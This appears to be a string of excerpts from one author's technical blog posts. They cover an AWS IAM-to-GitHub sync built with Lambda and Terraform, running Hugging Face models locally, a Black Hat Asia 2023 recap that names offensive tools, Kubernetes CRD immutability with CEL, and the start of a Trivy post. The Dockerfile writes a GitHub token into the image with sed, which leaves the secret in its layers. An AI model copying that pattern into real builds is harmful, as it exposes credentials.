            with open(f"{category}/{file_name}", "w") as f:
                json.dump(prettify_json(item), f, default=str, indent=4)
   

6. After all the changes, push the code to GitHub.

Container image/Dockerfile

To achieve consistency, it's always recommended to run an application from a container image. We will package the above code into a container image & feed it to Lambda for execution.

1. Import the base image that's supported by Lambda runtime.

    FROM public.ecr.aws/lambda/python:3.11
   

2. Copy the list of packages required from requirements.txt

    COPY requirements.txt ${LAMBDA_TASK_ROOT}
   

3. If you remember, we have marked some placeholders in the above python code. We will mark them as arguments here & they will be replaced accordingly during docker build.

    ARG GITHUB_USERNAME
    ARG GITHUB_REPO
    ARG GITHUB_TOKEN
   
    # Copy function code
    COPY lambda_function.py ${LAMBDA_TASK_ROOT}
    RUN sed -i "s/GITHUB_USERNAME/$GITHUB_USERNAME/g" ${LAMBDA_TASK_ROOT}/lambda_function.py
    RUN sed -i "s/GITHUB_REPO/$GITHUB_REPO/g" ${LAMBDA_TASK_ROOT}/lambda_function.py
    RUN sed -i "s/GITHUB_TOKEN/$GITHUB_TOKEN/g" ${LAMBDA_TASK_ROOT}/lambda_function.py
   

4. Install all the required packages

    # Install the specified packages
    RUN pip install -r requirements.txt
   
    RUN yum update && yum -y install git
   

5. Reference the handler function as a starting point for the container when it starts.

    # Set the CMD to your handler (could also be done as a parameter override outside of the Dockerfile)
    CMD [ "lambda_function.handler" ]
   

Push image to Elastic Container Registry (ECR)

1. We need to create an ECR repository.

    aws ecr create-repository --repository-name ${TF_VAR_ECR_REPO_NAME}
   

2. Login to the ECR repository

    aws ecr get-login-password --region ${TF_VAR_REGION} | docker login --username AWS --password-stdin ${TF_VAR_ACCOUNT_ID}.dkr.ecr.${TF_VAR_REGION}.amazonaws.com
   

3. Build the container image.

    docker build --platform linux/amd64 --build-arg GITHUB_USERNAME=${TF_VAR_GITHUB_USERNAME} --build-arg GITHUB_REPO=${TF_VAR_GITHUB_REPO} --build-arg GITHUB_TOKEN=${TF_VAR_GITHUB_TOKEN} -t ${TF_VAR_IMAGE} .
   

   

4. Push it to the ECR repository.

    docker push ${TF_VAR_IMAGE}
   

Terraform - IAM, Lambda, EventBridge, Cloudtrail, Cloudwatch, S3

Terraform sets up a robust AWS infrastructure. We will have to set up the below things.

Provider Block

This block specifies that we are using AWS as our cloud provider and sets the AWS region to us-east-1.

provider "aws" {
  region = "us-east-1"
}

Variable Blocks

Here, we define various variables that will be used throughout the script. For example, GITHUB_USERNAME will store the GitHub username. Similarly, we define other variables like GITHUB_REPO, GITHUB_TOKEN, ECR_REPO_NAME, etc. These are extracted from the environment variables we initialized before.

variable "GITHUB_USERNAME" {
  description = "GitHub username"
  type        = string
}

variable "GITHUB_REPO" {
  description = "GitHub repository name"
  type        = string
}

variable "GITHUB_TOKEN" {
  description = "GitHub Personal Access Token"
  type        = string
  sensitive   = true
}

variable "ECR_REPO_NAME" {
  description = "ECR Repository Name"
  type        = string
}

variable "RANDOM_SUFFIX" {
  description = "Random Suffix for Resource Names"
  type        = string
}

variable "ECR_REPO_TAG" {
  description = "ECR Repository Tag"
  type        = string
}

variable "AWS_PAGER" {
  description = "AWS Pager Environment Variable"
  type        = string
  default     = ""
}

variable "ACCOUNT_ID" {
  description = "AWS Account ID"
  type        = string
}

variable "REGION" {
  description = "AWS Region"
  type        = string
}

variable "ROLE_NAME" {
  description = "IAM Role Name"
  type        = string
}

variable "IMAGE" {
  description = "Docker Image URI"
  type        = string
}

variable "LAMBDA_FUNCTION_NAME" {
  description = "Lambda Function Name"
  type        = string
}

variable "POLICY_NAME" {
  description = "IAM Policy Name"
  type        = string
}

variable "LAMBDA_TIMEOUT" {
  description = "Lambda Function Timeout"
  type        = number
  default     = 120
}

variable "EVENTBRIDGE_NAME" {
  description = "EventBridge name"
  type        = string
}

variable "S3_BUCKET_NAME" {
  description = "S3 Bucket"
  type        = string
}

variable "CLOUDTRAIL_NAME" {
  description = "Cloudtrail name"
  type        = string
}

Local Values

Local values are convenient names or computations that are used multiple times within a module. Here, we define a local value account_id to store the AWS account ID, which is fetched using data.aws_caller_identity.current.account_id & more.

locals {
  account_id = data.aws_caller_identity.current.account_id
  region     = var.REGION
  ecr_repo_name = var.ECR_REPO_NAME
  ecr_repo_tag = var.ECR_REPO_TAG
  github_username = var.GITHUB_USERNAME
  github_repo = var.GITHUB_REPO
  github_token = var.GITHUB_TOKEN
  role_name = var.ROLE_NAME
  lambda_function_name = var.LAMBDA_FUNCTION_NAME
  policy_name = var.POLICY_NAME
  lambda_timeout = var.LAMBDA_TIMEOUT
  eventbridge_name = var.EVENTBRIDGE_NAME
  s3_bucket_name = var.S3_BUCKET_NAME
  cloudtrail_name = var.CLOUDTRAIL_NAME
}

Data Blocks

This data block fetches the current AWS account ID, user ID, and ARN, which can be used in other resources.

data "aws_caller_identity" "current" {}

IAM Role for Lambda

This block creates an AWS IAM role that can be used by our Lambda function.

resource "aws_iam_role" "lambda_role" {
  name = local.role_name

  assume_role_policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      {
        Action = "sts:AssumeRole",
        Effect = "Allow",
        Principal = {
          Service = "lambda.amazonaws.com"
        }
      }
    ]
  })
}

IAM Policy for Lambda

We define an IAM policy that allows the Lambda function to perform desired operations like creating CloudWatch Logs, listing IAM & organization policies, describing organization policies, etc.

resource "aws_iam_policy" "lambda_policy" {
  name        = local.policy_name
  description = "Policy for Lambda function"

  policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      {
        Effect = "Allow",
        Action = [
          "logs:CreateLogGroup",
          "logs:CreateLogStream",
          "logs:PutLogEvents"
        ],
        Resource = "arn:aws:logs:${local.region}:${local.account_id}:log-group:/aws/lambda/${local.lambda_function_name}:*"
      },
      {
        Effect = "Allow",
        Action = [
          "iam:ListPolicies",
          "iam:ListRoles",
          "organizations:ListPolicies",
          "organizations:DescribePolicy"
        ],
        Resource = "*"
      },
      {
        Effect = "Allow",
        Action = "kms:Decrypt",
        Resource = "arn:aws:kms:${local.region}:${local.account_id}:key/*"
      }
    ]
  })
}

Attach Policy to Role

This block attaches the IAM policy to the IAM role that will be used by the Lambda function.

resource "aws_iam_role_policy_attachment" "lambda_policy_attach" {
  role       = aws_iam_role.lambda_role.name
  policy_arn = aws_iam_policy.lambda_policy.arn
}

Lambda Function

This block defines the Lambda function, specifying its name, role, and other configurations.

resource "aws_lambda_function" "lambda_function" {
  function_name = local.lambda_function_name
  role          = aws_iam_role.lambda_role.arn
  package_type  = "Image"
  image_uri     = "${local.account_id}.dkr.ecr.${local.region}.amazonaws.com/${local.ecr_repo_name}:${local.ecr_repo_tag}"
  architectures = ["x86_64"]
  timeout       = local.lambda_timeout
}

CloudWatch Log Group

This block creates a CloudWatch Log Group where the Lambda function's logs will be stored. We set a retention period of 7 days but it's customizable.

resource "aws_cloudwatch_log_group" "lambda_log_group" {
  name              = "/aws/lambda/${aws_lambda_function.lambda_function.function_name}"
  retention_in_days = 7
}

S3 Bucket for CloudTrail

This block creates an S3 bucket that will be used by CloudTrail for logging.

resource "aws_s3_bucket" "cloudtrail_bucket" {
  bucket = local.s3_bucket_name
  force_destroy = true
}

CloudTrail Configuration

This block sets up CloudTrail, specifying the above-created S3 bucket for logging and other configurations.

resource "aws_s3_bucket_policy" "cloudtrail_bucket_policy" {
  bucket = aws_s3_bucket.cloudtrail_bucket.id

  policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      {
        Sid       = "AWSCloudTrailAclCheck"
        Effect    = "Allow"
        Principal = { Service = "cloudtrail.amazonaws.com" }
        Action    = "s3:GetBucketAcl"
        Resource  = aws_s3_bucket.cloudtrail_bucket.arn
      },
      {
        Sid       = "AWSCloudTrailWrite"
        Effect    = "Allow"
        Principal = { Service = "cloudtrail.amazonaws.com" }
        Action    = "s3:PutObject"
        Resource  = "${aws_s3_bucket.cloudtrail_bucket.arn}/*"
        Condition = {
          StringEquals = { "s3:x-amz-acl" = "bucket-owner-full-control" }
        }
      }
    ]
  })
}

EventBridge Rule

This block creates an EventBridge rule to capture events related to IAM and AWS Organizations. AWS IAM Roles & Policies belong to aws.iam & SCPs belong to aws.organizations. Hence, we need to look for both events.

resource "aws_cloudtrail" "cloudtrail" {
  name                          = local.cloudtrail_name
  s3_bucket_name                = aws_s3_bucket.cloudtrail_bucket.bucket
  enable_logging                = true
  include_global_service_events = true
  is_multi_region_trail         = true
  enable_log_file_validation    = true
}

# Create EventBridge Rule
resource "aws_cloudwatch_event_rule" "iam_and_orgs_rule" {
  name        = local.eventbridge_name
  description = "Capture events from IAM and Organizations"

  event_pattern = jsonencode({
    "source" : ["aws.iam", "aws.organizations"]
  })
}

Lambda Permission for EventBridge

This block allows EventBridge to invoke the Lambda function whenever the rule is triggered.

resource "aws_lambda_permission" "allow_eventbridge" {
  statement_id  = "AllowExecutionFromEventBridge"
  action        = "lambda:InvokeFunction"
  function_name = aws_lambda_function.lambda_function.function_name
  principal     = "events.amazonaws.com"
  source_arn    = aws_cloudwatch_event_rule.iam_and_orgs_rule.arn
}

EventBridge Target

This block sets the Lambda function as the target for the EventBridge rule, meaning the Lambda function will be invoked when the rule's conditions are met.

resource "aws_cloudwatch_event_target" "event_target" {
  rule      = aws_cloudwatch_event_rule.iam_and_orgs_rule.name
  target_id = "LambdaFunction"
  arn       = aws_lambda_function.lambda_function.arn
}

Test the setup

There are many floating components. We need to test it one by one to make sure all configurations are appropriate.

Lambda

Lambda is the core of our operations. To ensure it has required permissions, visit the lambda function & click on "Test". If successful, all good. If not, fix the errors.

Click on the logs above to view the lambda output or for debugging purposes

IAM

If everything is successful at Lambda, let's try to change an IAM policy & see if our components can detect it & forward the requests to Lambda. I love SCPs, hence I will try to edit an existing rule.

If you visit GitHub, you should see a commit with the updated SCP policy.

You can view the full file & the updated policy information.

If you are interested more, you can look at CloudWatch logs for Lambda output, EventBridge, etc.

Delete resources

# Delete terraform resources
terraform destroy

# Delete all images in the ECR repository
aws ecr batch-delete-image --repository-name ${TF_VAR_ECR_REPO_NAME} --image-ids "$(aws ecr list-images --region ${TF_VAR_REGION} --repository-name ${TF_VAR_ECR_REPO_NAME} --query 'imageIds[*]' --output json)"

# Delete ECR repository
aws ecr delete-repository --repository-name ${TF_VAR_ECR_REPO_NAME}

Further enhancements

So far, we made sure any changes on the AWS IAM are synchronized with GitHub. Once we have all the data on GitHub, we can code GitHub Actions to sync its policies with AWS IAM on cloud side to complete pure GitOps approach.

Conclusion

In conclusion, we've walked you through a hands-on project that employs a range of AWS services, including Lambda, EventBridge, CloudTrail, CloudWatch, ECR, and S3, all orchestrated through Terraform, Docker & AWS CLI. This guide serves as a robust starting point for anyone new to AWS, offering a practical way to gain hands-on experience. As you continue your journey in cloud computing, remember that the principles of GitOps can be applied far beyond IAM, serving as a foundational approach to cloud infrastructure management.

Similarly, Apple and other major companies have restricted the use of AI tools due to fears of confidential information being leaked or collected. As AI continues to permeate various sectors, it's crucial to prioritize data security and privacy.

One effective strategy to balance these needs is running AI models locally, which is the central focus of this guide. But wait, training models locally require high computational power, resources & expertise. This guide explores how to run pre-trained models from Hugging Face on local systems without incurring massive costs.

The Power of Local AI: Getting Started

Let's start with something simple, like generating images from a given text.

I loved this research paper on Classifier Free Diffusion Guidance from Jonathan Ho. Although the proposed theory sounds promising, reproducing it can be challenging. I'm not interested in spending huge money for an experiment or sheer curiosity.

With the enormous sources and data on the internet, I started exploring to find an existing model to run on a local system.

Navigating many resources, I stumbled across Hugging Face, an AI model hub with over 231,836 models (as of this writing) and a vibrant, active community.

Using Hugging Face's robust search features, you can quickly locate models based on research paper citations. As a result, you can find a model built based on Jonathan Ho's research, ready for local execution. The above research paper, Classifier Free Diffusion Guidance, is cited as arXiv:2207.12598. Many models are built based on this research paper, but I don't know which one to pick. As a regular user, I liked the one with the highest rating.

Hands-On Guide to Local AI Execution

Let's look at how you can use this model for image generation. The following Python script shows how to set up a stable diffusion pipeline and generate images locally using the pre-compiled model, runwayml/stable-diffusion-v1-5.

I'm on an M1 laptop & it supports mps device type at runtime. Use whatever is supported on your system.

from diffusers import DiffusionPipeline

pipeline = DiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5")
pipeline = pipeline.to("mps") # cpu, cuda, mkldnn, opengl, opencl, ideep, hip, ve, fpga, ort, xla, lazy, vulkan, mps, meta, hpu, mtia, privateuseone

# Recommended if you have 8/16 GB RAM
pipeline.enable_attention_slicing()

prompt = "a photo of an astronaut riding a horse on mars"

# Initialize the setup
_ = pipeline(prompt,num_inference_steps=1)

# Generate images
images = pipeline(prompt).images
for index, image in enumerate(images):
    image.save("image{0}.jpg".format(index))

The generated image is as follows:

Unleashing the power of Stable Diffusion Web UI

To make this process even more accessible and customizable, let's leverage Stable Diffusion Web UI. This user-friendly interface allows you to adjust numerous parameters effortlessly. Here are step-by-step instructions on setting up and using the UI:

1. Clone stable diffusion repository

    git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git
    cd stable-diffusion-webui
   

2. Start a virtual environment to ensure we aren't messing with other packages.

    python3 -m virtualenv --python="$(command -v python3)" .env
    source .env/bin/activate
   

3. Install required packages

    pip install transformers==4.19.2 diffusers invisible-watermark
    pip install -r requirements.txt
   

4. On the model page, you can see the "files and versions" section that contains different pre-compiled files for this specific model.

   

5. I've downloaded both models seen in the screenshot above. To get started, download the v1-5-pruned-emaonly compiled model, as it's smaller. The files are with the ckpt extension; it's a checkpoint file (likely compiled by Pytorch)

    cd models/Stable-diffusion
    wget https://huggingface.co/runwayml/stable-diffusion-v1-5/resolve/main/v1-5-pruned-emaonly.ckpt
   

6. The WebUI provides a script to start a quick instance on a local port. It checks & installs missing packages, if any.

   

7. There is so much information in the output & finally, it runs on a local port, 7860.

   

8. The default configuration is in configs/v1-inference.yaml. We don't have to change them in this blog, showing the contents for reference. Feel free to modify them & play around.

    model:
      base_learning_rate: 1.0e-04
      target: ldm.models.diffusion.ddpm.LatentDiffusion
      params:
        linear_start: 0.00085
        linear_end: 0.0120
        num_timesteps_cond: 1
        log_every_t: 200
        timesteps: 1000
        first_stage_key: "jpg"
        cond_stage_key: "txt"
        image_size: 64
        channels: 4
        cond_stage_trainable: false   # Note: different from the one we trained before
        conditioning_key: crossattn
        monitor: val/loss_simple_ema
        scale_factor: 0.18215
        use_ema: False
   
        scheduler_config: # 10000 warmup steps
          target: ldm.lr_scheduler.LambdaLinearScheduler
          params:
            warm_up_steps: [ 10000 ]
            cycle_lengths: [ 10000000000000 ] # incredibly large number to prevent corner cases
            f_start: [ 1.e-6 ]
            f_max: [ 1. ]
            f_min: [ 1. ]
   
        unet_config:
          target: ldm.modules.diffusionmodules.openaimodel.UNetModel
          params:
            image_size: 32 # unused
            in_channels: 4
            out_channels: 4
            model_channels: 320
            attention_resolutions: [ 4, 2, 1 ]
            num_res_blocks: 2
            channel_mult: [ 1, 2, 4, 4 ]
            num_heads: 8
            use_spatial_transformer: True
            transformer_depth: 1
            context_dim: 768
            use_checkpoint: True
            legacy: False
   
        first_stage_config:
          target: ldm.models.autoencoder.AutoencoderKL
          params:
            embed_dim: 4
            monitor: val/rec_loss
            ddconfig:
              double_z: true
              z_channels: 4
              resolution: 256
              in_channels: 3
              out_ch: 3
              ch: 128
              ch_mult:
              - 1
              - 2
              - 4
              - 4
              num_res_blocks: 2
              attn_resolutions: []
              dropout: 0.0
            lossconfig:
              target: torch.nn.Identity
   
        cond_stage_config:
          target: ldm.modules.encoders.modules.FrozenCLIPEmbedder
   

9. Let's access the application in a web browser, http://127.0.0.1:7860/

10. I've given a prompt, astronaut eating food & below is the generated image.

    

11. Increasing the batch size will generate multiple images & there are numerous other configurable variables.

Demystifying AI Image Generation

You may be wondering how the model creates these images from text prompts. The Stable Diffusion Web UI provides an "interrogate clip" feature to demystify this process. This tool allows you to probe how a model interprets an image, and you can then modify the generated interpretation to create new images.

The below image got generated with a prompt, astronaut sitting on a horse. I loaded the generated image in the img2img feature and clicked the interrogate button.

Now, we know what kind of prompt generates this image. For instance, the output generated by the "interrogate clip" interprets a component of the given picture as a red sky. Let's change that to "blue sky" and regenerate the image.

Tweaking the parameters of an image is fun. Let's try changing the "astronaut" to a man in "tuxedo" & see what it generates.

The above process helps to decode & understand how a model interprets a given image in text format & helps us to write appropriate prompts to generate desired pictures.

Going Beyond Images: Code Generation with AI

While image generation is exciting, what about code generation? On Hugging Face, a separate category called custom_code offers models for generating and interpreting custom code. One such model is bigcode/santacoder, which auto-fills Python code similarly to GitHub Copilot but operates locally.

# pip install -q transformers
from transformers import AutoModelForCausalLM, AutoTokenizer

checkpoint = "bigcode/santacoder"
device = "cuda" # for GPU usage or "cpu" for CPU usage

tokenizer = AutoTokenizer.from_pretrained(checkpoint)
model = AutoModelForCausalLM.from_pretrained(checkpoint, trust_remote_code=True).to(device)

inputs = tokenizer.encode("def print_hello_world():", return_tensors="pt").to(device)
outputs = model.generate(inputs)
print(tokenizer.decode(outputs[0]))

The generated output is as follows:

def print_hello_world():
    print("Hello World!")

The possibilities are endless

The exploration doesn't stop at code autofill. You'll find models that generate code from textual input, detect errors in your code, and even suggest security improvements.

Conclusion

This guide has highlighted the importance of data security in the AI landscape and the power of local AI execution. Leveraging AI is an integral part of technological evolution and workflow optimization. However, it's equally essential to maintain data security and privacy. Thus, running AI models on local systems provides an excellent solution to balance efficiency and data protection.

In an ever-evolving technological landscape, local AI execution using platforms like Hugging Face ensures we remain at the forefront of AI advancements while prioritizing data security. So, gear up and experiment with AI locally - the possibilities are endless!

References

• Hugging face

• Stable Diffusion WebUI

• Samsung data leak

• Apple bans ChatGPT

• Corporates' data security fear due to ChatGPT

• Classifier Free Diffusion Guidance

• bigcode/santacoder model

• runwayml/stable-diffusion-v1-5 model

At Black Hat Asia 2023, I had the chance to demonstrate our tool, Damn Vulnerable Bank.

The entire arsenal of presenters!

The conference featured an extensive lineup of captivating sessions that showcased the forefront of cybersecurity advancements. Among the standout presentations, Xiaosheng Tan's keynote address addressed the pressing importance of data security, shedding light on emerging laws and regulations shaping the landscape. Notably, Tan emphasized the significance of Privacy Enhanced Computing (PEC) and its potential impact on the industry.

Another noteworthy session was "Automated Bots as Threat Actors," which delved into the integration of machine learning (ML) and artificial intelligence (AI) in the realm of security. Attendees were captivated by the discussion on leveraging ML and AI to detect patterns, identify attacks, and combat the increasing sophistication of threat actors.

During the event, attention was drawn to the Darknet's "Bots as a Service (BaaS)" offering, revealing the underground economy that fuels cybercrime. The exposure of tools like OpenBullet2 and the exploration of various language models such as GPT-3, GPT-4, LaMDA, BLOOM, XLNet, GPT-Neo, Ernie 3.0 Titan, Minerva, and LLaMA opened new possibilities in areas like credential stuffing attacks and TTP extraction using ML models.

A fascinating topic that garnered significant interest was knowledge graph construction and semantic web-building techniques, which showcased innovative approaches to extract insights and understand the complex relationships between entities in the cyber landscape. The integration of LLM (Large Language Models) in cyber security proved to be a game-changer, unveiling new avenues for threat identification and malware detection.

Among the engaging sessions, the discussion on User Entity Behavior Analytics (UEBA) captured attention, showcasing its effectiveness in identifying suspicious behavioral patterns and aiding in detecting shoulder surfing attacks and malware infiltrations.

Throughout the conference, attendees were exposed to groundbreaking research and revelations. One particularly enthralling presentation explored the methods employed by criminals to compromise millions of mobile devices. The investigation unveiled intricate implant delivery and management systems, shedding light on the dark underbelly of compromised ROMs and their suspicious DEX files.

ROM compromise trends over the years.

The hackers behind these operations proved to be highly organized, establishing an elaborate network of operations and multiple business entities. Astonishingly, the group boasted the accomplishment of having 8.9 million active devices under their control at one point, displaying their audacious activities on their branded website.

Furthermore, the conference shed light on the exploitation of internal undocumented services within AWS and Azure. The insightful presentation uncovered vulnerabilities in AWS Glue services, revealing jar files that contained information about unexposed services. The session also explored the hacking of managed data services, providing attendees with valuable insights into potential weaknesses in these cloud platforms.

A high-level overview of AWS services Glue hack.

Another captivating talk focused on the exploitation of isolation in WPA3, exposing the vulnerabilities to deauthentication and sleep attacks. The session provided a deeper understanding of the intricacies of wireless security protocols, emphasizing the need for robust defenses against emerging threats.

Showcasing the Arsenal of Innovation

The Black Hat Asia 2023 Arsenal exhibited a diverse range of cutting-edge tools and frameworks that captured the imagination of attendees. Some notable highlights included:

• AADInternals: An Azure AD and M365 hacking and administration toolkit.

• Purplesharp: An automated adversary simulation tool designed for Windows environments.

• uftrace: A dynamic function tracing tool for C/C++/Rust programs.

• Osmedeus: An all-in-one reconnaissance framework for building personalized reconnaissance systems.

• Bluemap: An interactive tool tailored for Azure exploitation, enabling thorough assessments of Azure environments.

• rengine: An automated reconnaissance framework designed to gather information and identify potential vulnerabilities.

• squarephish: An advanced phishing tool that combines the OAuth Device code authentication flow with QR codes for highly effective phishing attacks.

• Threatseeker: A threat-hunting tool that utilizes Windows event logs for comprehensive analysis and detection.

• GodPotato: A tool capable of escalating privileges using the ImpersonatePrivilege permission.

• CureIAM: A solution designed to streamline the cleanup of over-permissioned IAM accounts in Google Cloud Platform (GCP) infrastructures.

• PoC against flying drone: A proof-of-concept demonstration showcasing an attack against a flying drone.

• PyExfil: A Python package that enables data exfiltration from compromised systems.

• Faceless: A deepfake detection tool, vital for combating the rise of synthetic media.

Empowering Cybersecurity with Language Models

The conference also underscored the significant role of Language Models (LMs) in the realm of cybersecurity. LMs like GPT-3, GPT-4, LaMDA, BLOOM, XLNet, GPT-Neo, Ernie 3.0 Titan, Minerva, and LLaMA were recognized for their potential in various applications, including credential stuffing attacks and the extraction of Techniques, Tactics, and Procedures (TTPs) using ML models.

Behavioral analysis using User Entity Behavior Analytics (UEBA) was another area where LMs showcased their effectiveness, enabling the identification of malware attacks and anomalous user behavior. This breakthrough technology offered promising solutions for safeguarding digital ecosystems from evolving threats.

The powerful Network Operations Center (NOC) at Black Hat Asia 2023 demonstrated the vast amount of metrics collected to monitor and analyze network activity. These metrics provided invaluable insights into identifying potential security breaches and ensuring the continuous protection of critical infrastructure.

Some hideous hands-on sessions on RFID hacking, lock picking, deep fake detections & lot more. I picked up a few locks 😉

Conclusion

In conclusion, Black Hat Asia 2023 was an exceptional event that brought together cybersecurity professionals from around the globe. Attendees were treated to captivating presentations, enlightening discussions, and access to a diverse range of innovative tools and frameworks.

For example, the Prometheus Operator adds a "PrometheusRule" resource. Alerts can be defined and edited with kubectl edit prometheusrule some-rule.

- Natan Yellin, CEO Robusta.dev

There are many ways to create CRDs for Kubernetes. You can write CRDs from scratch as well, but some amazing tools out there will scaffold the skeleton structure for you to make things easier. A few of them are kubebuilder, operator-sdk, etc.

Kubernetes operators require you to define & create CRDs. Often, when you develop operators, the basic requirement would be validating different fields in CRDs. There are many ways in kubebuilder to perform basic validations like setting maximum/minimum length of a field, required/optional validation checks for a field, etc.

Before Kubernetes 1.25, the only way to create complex validations in CRDs was to write & deploy a validating webhook. Each CRD would have its own validating webhook deployment running on the system. This is an operational & development overhead when you have to develop & deploy numerous CRDs. This issue is addressed in the Kubernetes 1.25 release with the introduction of CEL(Common Expression Language) validation rules. In this post, we will see the process of creating immutable CRDs before & after introduction of CEL in Kubernetes.

Warning!!!

Kindly note this feature is still in the beta phase & is subject to changes. The following sections assume you know basics of Golang, Kubernetes, & operator development.

Task

In this demo, we will try to create an immutable CRD, i.e., no one can edit the object once the CR is made. If someone tries to edit the object, the API server must reject the change & throw an error.

For this demo, we will use kubebuilder. Code available here - rewanthtammana/crd-immutable-validation-webhook

CRD validation in Kubernetes 1.23

As mentioned above, we need to create a webhook for validation. But before that, let's scaffold the skeleton.

1. Create a Kubernetes 1.23 cluster

2. Create a repository & initialize it with go mod.

    mkdir /tmp/one cd /tmp/one go mod init one
   

3. Initialize kubebuilder

   On M1,

    kubebuilder init --domain rewanthtammana.com --license none --owner "rewanthtammana" --plugins=go/v4-alpha
   

   Others,

    kubebuilder init --domain rewanthtammana.com --license none --owner "rewanthtammana"
   

4. Create an API with ImmutableKind. Say yes to creating a controller & resource.

    kubebuilder create api --version v1 --group validate --kind ImmutableKind
   

5. Create a webhook for validation

    kubebuilder create webhook --group validate --version v1 --kind ImmutableKind --programmatic-validation
   

6. Add the validating webhook logic to the codebase, api/v1/immutablekind_webhook.go. In this case, we want our object to be immutable, so all update operations must be blocked.

    // ValidateUpdate implements webhook.Validator so a webhook will be registered for the type
    func (r *ImmutableKind) ValidateUpdate(old runtime.Object) error {
    immutablekindlog.Info("validate update", "name", r.Name)
   
    return apierrors.NewForbidden(
        schema.GroupResource{
            Group:    "validate.rewanthtammana.com",
            Resource: "ImmutableKind",
        }, r.Name, &field.Error{
            Type:     field.ErrorTypeForbidden,
            Field:    "*",
            BadValue: r.Name,
            Detail:   "Invalid value: \"object\": Value is immutable",
        },
    )
    }
   

7. The default webhook will not work because of certificate issues. To fix this, you must install cert-manager for operational ease.

    kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.9.1/cert-manager.yaml
   

8. Edit configurations from the skeleton to enable webhook, perform cainjection, etc. deployments

9. Uncomment patches/webhook_in_immutablekinds.yaml and patches/cainjection_in_immutablekinds.yaml in config/crd/kustomization.yaml

10. Uncomment ../certmanager and ../webhook directories, manager_webhook_patch.yaml & entire CERTMANAGER replacements block in config/default/kustomization.yaml

11. Create custom CRDs

    make manifests
    

12. Build & push the webhook code logic to dockerhub. In this case, I'm pushing the image to my personal dockerhub account for deployment. You can change the image name accordingly.

    make docker-build docker-push IMG=rewanthtammana/immutablekindwebhook:v1
    

13. Install & deploy the CRD & webhook

    make install deploy IMG=rewanthtammana/immutablekindwebhook:v1
    

14. Deploy a sample CR.

    kubectl apply -f ./config/samples/validate_v1_immutablekind.yaml
    

    apiVersion: validate.rewanthtammana.com/v1
    kind: ImmutableKind
    metadata:
    labels:
    app.kubernetes.io/name: immutablekind
    app.kubernetes.io/instance: immutablekind-sample
    app.kubernetes.io/part-of: immutable-validation-webhook
    app.kuberentes.io/managed-by: kustomize
    app.kubernetes.io/created-by: immutable-validation-webhook
    mutate: maybe
    name: immutablekind-sample
    spec:
    # TODO(user): Add fields here
    

15. To validate the immutability feature let's edit the deployed CR.

16. To keep things simple, let's remove all labels from the above snippet & just deploy the immutablekind-sample CR again.

    echo "apiVersion: validate.rewanthtammana.com/v1
    kind: ImmutableKind
    metadata:
      name: immutablekind-sample" | kubectl apply -f-
    

17. The Kubernetes API server should throw an error blocking the update.

    

CRD validation in Kubernetes 1.25

With the introduction of fantastic CEL, we can see a clear difference in the complexity of implementing CRD validation. The initial scaffolding steps are gonna remain the same.

1. Create a Kubernetes 1.25 cluster

2. Create a repository & initialize it with go mod.

    mkdir /tmp/two
    cd /tmp/two
    go mod init two
   

3. Initialize kubebuilder

   On M1,

    kubebuilder init --domain rewanthtammana.com --license none --owner "rewanthtammana" --plugins=go/v4-alpha
   

   Others,

    kubebuilder init --domain rewanthtammana.com --license none --owner "rewanthtammana"
   

4. Create an API with ImmutableKind. Say yes to creating a controller & resource.

    kubebuilder create api --version v1 --group validate --kind ImmutableKind
   

5. No need to create a webhook for CRD validation with CEL

6. We aren't validating a specific field in this task. We want to protect the entire object & all its subsequent fields

7. The best way to achieve our goal is to embed the kubebuilder marker comments for the entire kind struct object

8. The CEL immutable validation check looks as below

    // +kubebuilder:validation:XValidation:rule="self == oldSelf", message="Value is immutable"
   

9. The above marker comment in CEL format is parsed by controller-gen to generate CRDs. The XValidation field in CEL rule translates to x-Kubernetes-validation in the CRD

10. The validation rule specified above, ensures that the new request object (self) is always equal to the old deployed object (oldSelf). If it's any different, the CEL validation throws an error message

11. A lot more granular validation on each field is possible with CEL. But it's not required for our demo use case

12. In this case, we created ImmutableKind struct & want to make sure it's CRs are immutable. Add the above validation marker comments to the struct

13. The ImmutableKind struct exists in api/v1/immutablekind_types.go

    // +kubebuilder:validation:XValidation:rule="self == oldSelf", message="Value is immutable"
    type ImmutableKind struct {
    metav1.TypeMeta   `json:",inline"`
    metav1.ObjectMeta `json:"metadata,omitempty"`
    
    Spec   ImmutableKindSpec   `json:"spec,omitempty"`
    Status ImmutableKindStatus `json:"status,omitempty"`
    }
    

14. Create custom CRDs & install them

    make manifests
    make install
    

15. Deploy a sample CR

    kubectl apply -f ./config/samples/validate_v1_immutablekind.yaml
    

    apiVersion: validate.rewanthtammana.com/v1
    kind: ImmutableKind
    metadata:
    labels:
    app.kubernetes.io/name: immutablekind
    app.kubernetes.io/instance: immutablekind-sample
    app.kubernetes.io/part-of: immutable-validation-webhook
    app.kuberentes.io/managed-by: kustomize
    app.kubernetes.io/created-by: immutable-validation-webhook
    mutate: maybe
    name: immutablekind-sample
    spec:
    # TODO(user): Add fields here
    

16. To validate the immutability feature, let's edit the deployed CR.

17. To keep things simple, let's remove all labels from the above snippet & just deploy the immutablekind-sample CR again.

    echo "apiVersion: validate.rewanthtammana.com/v1
    kind: ImmutableKind
    metadata:
      name: immutablekind-sample" | kubectl apply -f-
    

18. The object update request will be failed.

    

Peek into marker comments magic

Just a one-line marker comment, removed all the complexity of creating a webhook deployment, certificate management/requirement of cert-manager deployment, etc.

The CRD configuration is located in ./config/crd/bases/validate.rewanthtammana.com_immutablekinds.yaml

The above marker comment embeds x-Kubernetes-validations field to openAPIV3Schema when you generate the manifest files.

Conclusion

This is just the tip of the iceberg. We can achieve numerous other things with the combination of CEL & Kubernetes. You can check the references for further usage.

References

• Demo codebase

• CEL

• Kubebuilder

• Kubernetes Blog

Thanks to Anaïs Urlichs for inviting me to the beta & early adopters review.

As of Aug 15, 2022, Trivy is capable of scanning AWS resources for misconfigurations. The less known fact is that aquasec acquired cloudsploit, a Cloud Security Posture Management (CSPM) tool that supports AWS, GCP, Azure, Oracle, etc. It even covers standards like HIPPA, PCI & CIS benchmarks. For unforeseen reasons, cloudsploit didn't receive any updates since Aug 26, 2020. Nevertheless, now trivy can perform scans cloudsploit was capable of & beyond.

Hands-on

